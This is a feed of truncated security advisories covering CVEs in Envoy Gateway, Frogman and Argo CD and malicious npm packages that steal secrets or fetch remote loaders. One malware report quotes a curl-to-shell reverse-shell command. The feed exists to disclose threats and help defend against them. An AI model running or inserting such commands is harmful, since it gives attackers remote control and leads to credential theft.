Envoy Gateway: xDS Control Plane Information Disclosure when operating in GatewayNamespaceMode

Impact When Envoy Gateway runs in GatewayNamespaceMode provider.kubernetes.deploy.type=GatewayNamespace, the xDS gRPC server is configured with a StreamInterceptor for JWT authentication but no UnaryInterceptor. The go-control-plane xDS server exposes both streaming and unary Fetch RPC methods fo...

CVE-2026-46515

Frogman provides headless PBX control through MCP and HTTP API. Prior to 1.6.3, PERMREAD access was sufficient to call fmlistmanagers, fmlistpinsets, fmshowcontext, fmgetmcpconfig, fmbackupstatus, fmwhoscalling, fmrunsavedquery, and fmdiagnosetrunk, exposing AMI manager secrets, outbound dial PIN...

CVE-2026-46515

CVE-2026-46515 (Frogman) affects Frogman’s headless PBX control via MCP and HTTP API. Before version 1.6.3, a PERM_READ privilege was sufficient to call multiple endpoints (fm_list_managers, fm_list_pinsets, fm_show_context, fm_get_mcp_config, fm_backup_status, fm_whos_calling, fm_run_saved_query...

Malicious code in @across-toolkit/eslint-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2c7f4d3a8ae39148bf9964aef6bfe64bc57393c27a28d8e953b30c92442c4b33 @across-toolkit/[email protected] runs a postinstall.js script on npm install that harvests installer-side secrets and posts them to a hardcoded...

Important: Red Hat Security Advisory: external secrets operator for Red Hat OpenShift 1.0.1

external secrets operator for Red Hat OpenShift 1.0.1 The External Secrets Operator for Red Hat OpenShift builds on top of Kubernetes, which integrates external secret management systems like AWS Secrets Manager, HashiCorp Vault, Google Secrets Manager, Azure Key Vault, IBM Cloud Secrets Manager,...

MAL-2026-10696 Malicious code in loader1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e15a852d5059620c9ee20b20a227907363f1b83c05bf642f2f077d11b4d08f66 The npm package's only file of substance is index.html declared as main in package.json. When opened in a browser, the page first disables...

Malicious code in ai-p2p (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8addfcd7b527a107164a782a0a85fad3e318dcbe195643df859a15f159977baa The package ships a single index.html that embeds a hardcoded Google Generative Language API key as a JavaScript constant const GEMINIKEY =...

Malicious code in loader1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e15a852d5059620c9ee20b20a227907363f1b83c05bf642f2f077d11b4d08f66 The npm package's only file of substance is index.html declared as main in package.json. When opened in a browser, the page first disables...

MAL-2026-10695 Malicious code in ai-p2p (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8addfcd7b527a107164a782a0a85fad3e318dcbe195643df859a15f159977baa The package ships a single index.html that embeds a hardcoded Google Generative Language API key as a JavaScript constant const GEMINIKEY =...

Malicious code in websight-p2p (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a70a4fdffa4457cd6366270226f065017c57aeac78fdbb062237ebf39284af78 The package ships a single index.html whose body fetches https://loader.p2pgames.workers.dev/ with header x-access: p2p and passes the response to...

Malicious code in websight2-p2p (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 68f0d3e266200dd193458cccca682b6fddefd14883c02bd4bfd6f98f722690cb The package ships a single file, index.html, which is declared as the package main. On render, index.html fetches...

MAL-2026-10697 Malicious code in websight-p2p (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a70a4fdffa4457cd6366270226f065017c57aeac78fdbb062237ebf39284af78 The package ships a single index.html whose body fetches https://loader.p2pgames.workers.dev/ with header x-access: p2p and passes the response to...

MAL-2026-10698 Malicious code in websight2-p2p (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 68f0d3e266200dd193458cccca682b6fddefd14883c02bd4bfd6f98f722690cb The package ships a single file, index.html, which is declared as the package main. On render, index.html fetches...

Malicious code in vor8zakon (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99924288481504c324c3f573ba7ba99ac4e1c7a7f22a940c94d81059b868fdfd Package advertises itself as 'A simple cryptographic library for JavaScript applications' but ships no crypto code and exports nothing. package.json...

MAL-2026-10694 Malicious code in vor8zakon (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99924288481504c324c3f573ba7ba99ac4e1c7a7f22a940c94d81059b868fdfd Package advertises itself as 'A simple cryptographic library for JavaScript applications' but ships no crypto code and exports nothing. package.json...

MAL-2026-10692 Malicious code in nyt-cms (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 1bf0f1d5cc9a57edf1b570b517d09c6acf7c98223858d08a5f162c250f6965f3 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10691 Malicious code in internallib_v907 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...

Malicious code in internallib_v907 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...

CVE-2026-45737

Argo CD ServerSideDiff in versions 3.2.0–3.2.12, 3.3.10, and 3.4.2 can exposed Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretData(target, live, ...) does not fully sanitize ResourceDiff.TargetState and LiveState predicted li...

CVE-2026-45737 Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 3.2.0 until 3.2.12, 3.3.10, and 3.4.2, Argo CD ServerSideDiff can expose Kubernetes Secret values embedded in the kubectl.kubernetes.io/last-applied-configuration annotation because HideSecretDatatarget, live, ... does...